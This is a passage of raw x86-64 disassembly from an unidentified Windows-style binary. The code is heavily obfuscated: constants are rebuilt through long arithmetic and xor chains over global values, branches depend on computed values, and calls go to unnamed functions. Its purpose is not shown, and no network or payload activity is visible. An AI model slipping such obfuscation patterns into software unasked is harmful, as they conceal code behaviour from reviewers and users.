test eax, eax
jne 0x140283340
mov r14d, r15d
jmp 0x14028339a
mov dword [rbp + 0x1e8], eax
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x40], eax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x78]
call fcn.140291310
mov r14d, eax
mov dword [rbp - 0x20], r15d
mov dword [rbp - 0x24], r15d
mov dword [rbp - 0x28], r15d
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 0x1c], 0xf803eb1a
mov eax, dword [rbp - 0x1c]
add eax, 0x3a50a36
xor eax, 0x9f8a95a9
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x238f81e3
xor eax, 0x71e6fb52
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x7b0e0990
add eax, ecx
xor eax, 0x3fd83a64
add eax, 0x74b8067d
xor eax, 0x7b6352ef
mov esi, dword [0x14033e030]
xor esi, 0x23f16d83
sub esi, eax
mov eax, dword [0x14033e038]
xor eax, 0xdc0e927c
sub esi, eax
sub esi, ecx
add esi, 0x4840b4a6
xor esi, 0xaa8fc174
mov dword [rbp - 0x1c], esi
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 0x2c], r15d
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa8], r15
movabs rax, 0x46d0d7781791e7f1
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], r15
movabs rax, 0x14552fcc54163de6
mov qword [rbp + 0xb0], rax
movabs rcx, 0xf33a52b792d71103
add rcx, qword [rbp + 0xb0]
movabs rax, 0x36553662530b24db
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f5e1e1432
sub rcx, rax
movabs rax, 0xf8f8cd96e0782c69
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x47d654b778ada156
add rcx, rax
mov rdi, qword [0x14033e040]
add rcx, rdi
movabs rax, 0x5a9179a69c832aa1
xor rcx, rax
movabs rax, 0x5f627dc4a69eb0f4
sub rcx, rax
movabs rax, 0x563b3cd197c5d5f7
xor rcx, rax
movabs rdx, 0x3483ce433ef124d7
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ade4b5a98
mov r10, qword [0x14033e038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521b4a567
mov r11, qword [0x14033e030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d93d17e65ed
add rdx, rax
add rdx, rcx
movabs rax, 0x8a733f874c956b28
xor rdx, rax
mov qword [rbp + 0xb0], rdx
movabs rcx, 0xf33a52b613217683
add rcx, qword [rbp + 0xa8]
movabs rax, 0x9bd536625309a526
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80a6610c9e
add rcx, rax
movabs rax, 0xf8f8cd98662c9d53
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x7d654b98188a48e
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a8522e4edb
xor rcx, rax
movabs rax, 0x5f627dc6c464819e
sub rcx, rax
movabs rax, 0x2a3b3cd257aca0e4
xor rcx, rax
movabs rax, 0xb483ce44b428c81e
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad84c842e
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b527b37bd1
xor r11, rax
movabs rax, 0xe0b56d8dcca96583
add rcx, rax
add rcx, r11
movabs rax, 0x6349ba30c824038e
xor rcx, rax
mov qword [rbp + 0xa8], rcx
and rcx, rdx
mov rax, r15
cmp r14d, esi
setge al
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xa8], r15
cmp rax, rcx
jne 0x1402846a1
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rdi, qword [0x14033e070]
imul rdi, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rdi, rax
mov r13, rdi
imul r13, r8
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rdi
and r10, r8
lea rax, [0x14033e060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov rsi, rdi
imul rsi, rax
sub rsi, 0x1b5d796
xor rsi, r10
xor rsi, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x32
shr rsi, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rdi + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14033e060]
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
sub rbx, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r12, rbx
xor r12, rdi
lea rcx, [rbx + r15]
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x1402837d0
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffe4a286a
mov qword [rbp + 0x558], rdx
lea r14, [rdx + r15]
mov r11, rbx
imul r11, rsi
sub r11, r14
xor r11, r9
mov cl, r14b
xor cl, 0xfa
and cl, 0xf
rol r11, cl
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
mov rax, r14
sub rax, qword [0x14033e078]
xor r11, rax
xor r11, r10
xor r11, rdi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140283b79
sub rax, 1
je 0x140283a51
sub rax, 1
je 0x14028395c
cmp rax, 1
jne 0x140283c24
mov r9, r14
imul r9, rbx
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rdi
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, rsi
xor r8, rax
jmp 0x140283c24
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rbx, 0x249a18892d2adf62
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r14, rbx
not r14
lea rax, [0x14033e060]
imul r14, qword [rax + rcx*8]
xor r14, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol r14, cl
movabs rcx, 0xdf97debfeaf28157
xor r13, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and r13, rcx
imul r14, r13
mov rcx, r14
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rbx
sub rax, r14
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140283c24
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rdi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r14b
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, r14
mov rax, rsi
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rdi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, r14
imul rdx, r8
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, rdi
movabs rdi, 0x78958946bc198f3
add rdi, rax
xor rdi, rsi
mov al, bl
add al, al
lea ecx, [rax + rbx]
shl cl, 2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140283c24
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r14
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de79628508
imul rsi, rax
mov rax, r10
imul rax, rdi
mov rdi, rsi
xor rdi, rax
imul rsi, qword [0x14033e060], 0xfffffffffe4a286a
mov rdx, qword [0x14033e068]
sub rsi, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140283c17
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
add rsi, r15
add rsi, qword [rbp + 0x558]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rdi
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not r14
imul r14, r11
imul r14, rsi
imul r14, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rbx
not rcx
xor rcx, r14
sub rcx, r10
call fcn.14001fb84
mov qword [0x14034c9e8], rax
xor r15d, r15d
mov dword [rbp - 0x18], r15d
mov dword [rbp - 0x18], 0x59958a1c
mov eax, dword [rbp - 0x18]
add eax, 0xd458c235
xor eax, 0x578a665d
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x241d66bb
xor eax, 0xa1f07473
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xbb42154d
add eax, ecx
xor eax, 0x75cb3c85
add eax, 0x2790e19d
xor eax, 0xd30af151
mov edx, dword [0x14033e030]
xor edx, 0x24ae9ea3
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdb51615c
sub edx, eax
sub edx, ecx
add edx, 0x5c51317c
xor edx, 0xfb6fc594
mov dword [rbp - 0x18], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp - 0x18], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021474
mov dword [rbp - 0x14], r15d
mov dword [rbp - 0x14], 0xd25bd246
mov qword [rbp + 0xb8], r15
movabs rax, 0x7020a1684b6fcd13
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], r15
movabs rax, 0xf3ad678596628467
mov qword [rbp + 0xc0], rax
movabs rcx, 0xf33a52b69ae6e803
add rcx, qword [rbp + 0xc0]
movabs rax, 0xd553662530a2ceb
xor rcx, rax
mov r11, qword [0x14033e058]
sub rcx, r11
mov r10, qword [0x14033e050]
sub rcx, r10
movabs rax, 0xedf047f5b3643b7
sub rcx, rax
movabs rax, 0xf8f8cd97dc48160d
xor rcx, rax
mov r9, qword [0x14033e048]
sub rcx, r9
movabs rax, 0xc7d654b8c93c20fd
add rcx, rax
mov rbx, qword [0x14033e040]
add rcx, rbx
movabs rax, 0x5a9179a7b7511965
xor rcx, rax
movabs rax, 0x5f627dc6e0b27c88
sub rcx, rax
movabs rax, 0x9e3b3cd213c5a9f9
xor rcx, rax
movabs rdx, 0x3483ce443019bcb8
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6b99f4
mov r8, qword [0x14033e038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52594660b
mov rdi, qword [0x14033e030]
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d8fed9c00c9
add r14, rdx
add r14, rcx
movabs rax, 0x78847e378706d57c
xor r14, rax
mov qword [rbp + 0xc0], r14
movabs rcx, 0xf33a52b71bfa3583
add rcx, qword [rbp + 0xb8]
movabs rax, 0x5ad53662530aadfe
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a3468261
add rcx, rax
movabs rax, 0xf8f8cd9759307b57
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654b81a066d4a
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7241714ff
xor rcx, rax
movabs rax, 0x5f627dc68171535a
sub rcx, rax
movabs rax, 0x323b3cd1d337fa9e
xor rcx, rax
movabs rdx, 0xb483ce43b28df657
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6fe72a
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5239018d5
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d91f3ed7c7f
add rsi, rdx
add rsi, rcx
movabs rax, 0x63f67832ac6745f2
xor rsi, rax
mov qword [rbp + 0xb8], rsi
mov eax, dword [rbp - 0x14]
add eax, 0xda1a68b5
xor eax, 0xfe0a6c1e
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf3de38
xor eax, 0x9c17c759
sub eax, r9d
add eax, 0xf371b7ca
add eax, ebx
xor eax, 0x6f3a5a9b
add eax, 0x283b4997
xor eax, 0x9c29f004
xor edi, 0x24979809
sub edi, eax
xor r8d, 0xdb6867f6
sub edi, r8d
sub edi, ebx
sub edi, 0x6f9daf8
xor edi, 0x9e7fb7a6
mov dword [rbp - 0x14], edi
mov eax, dword [0x14035ca24]
test eax, eax
jne 0x140283f9f
mov edx, r15d
jmp 0x140283fc6
mov dword [rbp + 0x200], eax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140291310
mov rdx, rax
movsxd rax, edi
mov rcx, r15
cmp rdx, rax
setb cl
and rsi, r14
mov rax, r15
cmp rcx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xb8], r15
mov dword [rbp - 0x14], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14033e078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov r13, rsi
imul r13, r8
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14033e060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x140284166
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x78], rdx
lea r11, [rdx + r15]
mov rbx, rdi
imul rbx, r14
sub rbx, r11
xor rbx, r9
mov cl, r11b
xor cl, 0xfe
and cl, 0xf
rol rbx, cl
mov rax, r11
sub rax, qword [0x14033e078]
xor rbx, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor rbx, r12
xor rbx, r10
xor rbx, rsi
mov rax, rbx
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140284504
sub rax, 1
je 0x1402843e1
sub rax, 1
je 0x1402842ed
cmp rax, 1
jne 0x1402845ad
mov r9, r11
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, rbx
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, bl
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x78]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rbx
imul rax, qword [r12 + rcx*8]
imul rax, rbx
sub rax, r14
xor r8, rax
jmp 0x1402845ad
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, rbx
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, rdi
not r11
lea rax, [0x14033e060]
imul r11, qword [rax + rcx*8]
xor r11, 0xffffffffe04068dd
lea ecx, [rbx + 0xf]
and cl, 0x3f
rol r11, cl
movabs rcx, 0x284871c200000000
xor r13, rcx
movabs rcx, 0x7c7a7dc68947626c
and r13, rcx
imul r11, r13
mov rcx, r11
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x1402845ad
movabs rcx, 0xcc341b28bb781851
imul rbx, rcx
movabs rax, 0xd79435e50d79435f
mul rbx
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, bl
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r11b
and cl, 0x3f
rol r10, cl
lea rcx, [rbx + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, r11
mov rcx, r14
sub rcx, r10
xor r8, rcx
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, rbx
imul rdx, r11
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1402845ad
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, rbx
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r11
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14033e060], 0xfffffffffea03e86
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402845a2
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x78]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not r11
imul r11, rbx
imul r11, r14
imul r11, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, r11
sub rcx, r10
call fcn.14001fde8
mov qword [0x14034c998], rax
mov rax, qword [rbp + 0x558]
and dword [rbp - 0x10], 0
mov dword [rbp - 0x10], 0x12058b4c
mov eax, dword [rbp - 0x10]
add eax, 0x12061fb6
xor eax, 0xb50aa40a
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5c9ba15d
xor eax, 0x634c617c
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0x278940e1
add eax, edx
xor eax, 0x2f717dde
add eax, 0x774c4643
xor eax, 0xc8325526
mov ecx, dword [0x14033e030]
xor ecx, 0x23b7e92d
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdc4816d2
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0xfb8f4e5]
xor eax, 0x5b8f24ea
mov dword [rbp - 0x10], eax
and dword [rbp - 0x10], 0
jmp 0x14028a175
mov qword [rbp + 0xc8], r15
movabs rax, 0x1fee987a661f641f
mov qword [rbp + 0xc8], rax
movabs rcx, 0xf33a52b796f10a03
add rcx, qword [rbp + 0xc8]
movabs rax, 0x2f553662530b28f5
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f5e2a621d
sub rcx, rax
movabs rax, 0xf8f8cd96dc4dcb85
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0xc7d654b7731c5fd6
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a697d58a9d
xor rcx, rax
movabs rax, 0x5f627dc4a3878990
sub rcx, rax
movabs rax, 0x8e3b3cd195b8b8a8
xor rcx, rax
movabs rax, 0x3483ce433af3e1a6
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ade5bc27c
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521a43d83
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d93e1f4f151
add rax, rdx
add rcx, rax
movabs rax, 0x385da8d239bc1174
xor rcx, rax
mov qword [rbp + 0xc8], rcx
mov r8, qword [rbp + 0x90]
shr r8, cl
mov qword [rbp + 0x90], r8
mov qword [rbp + 0xc8], r15
mov dword [rbp - 0xc], r15d
mov dword [rbp - 0xc], 0x3a7df485
mov eax, dword [rbp - 0xc]
add eax, 0xef6130b6
xor eax, 0xc60b8165
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5f33b290
xor eax, 0x827be438
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x7b10234d
add eax, ecx
xor eax, 0x32f59e7a
add eax, 0x71ba4f37
xor eax, 0xd17de1cd
mov edx, dword [0x14033e030]
xor edx, 0x20427ce9
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdfbd8316
sub edx, eax
sub edx, ecx
add edx, 0x5fe88135
xor edx, 0xfaa6f706
mov dword [rbp - 0xc], edx
movsxd rax, edx
mov dword [rbp - 0xc], r15d
cmp r8, rax
jae 0x140285898
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rdi, qword [0x14033e070]
imul rdi, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rdi, rax
mov r13, rdi
imul r13, r8
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rdi
and r10, r8
lea rax, [0x14033e060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov rsi, rdi
imul rsi, rax
sub rsi, 0x1b5d796
xor rsi, r10
xor rsi, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x32
shr rsi, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rdi + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14033e060]
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
sub rbx, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r12, rbx
xor r12, rdi
lea rcx, [rbx + r15]
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x1402849c4
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffe4a286a
mov qword [rbp + 0x558], rdx
lea r14, [rdx + r15]
mov r11, rbx
imul r11, rsi
sub r11, r14
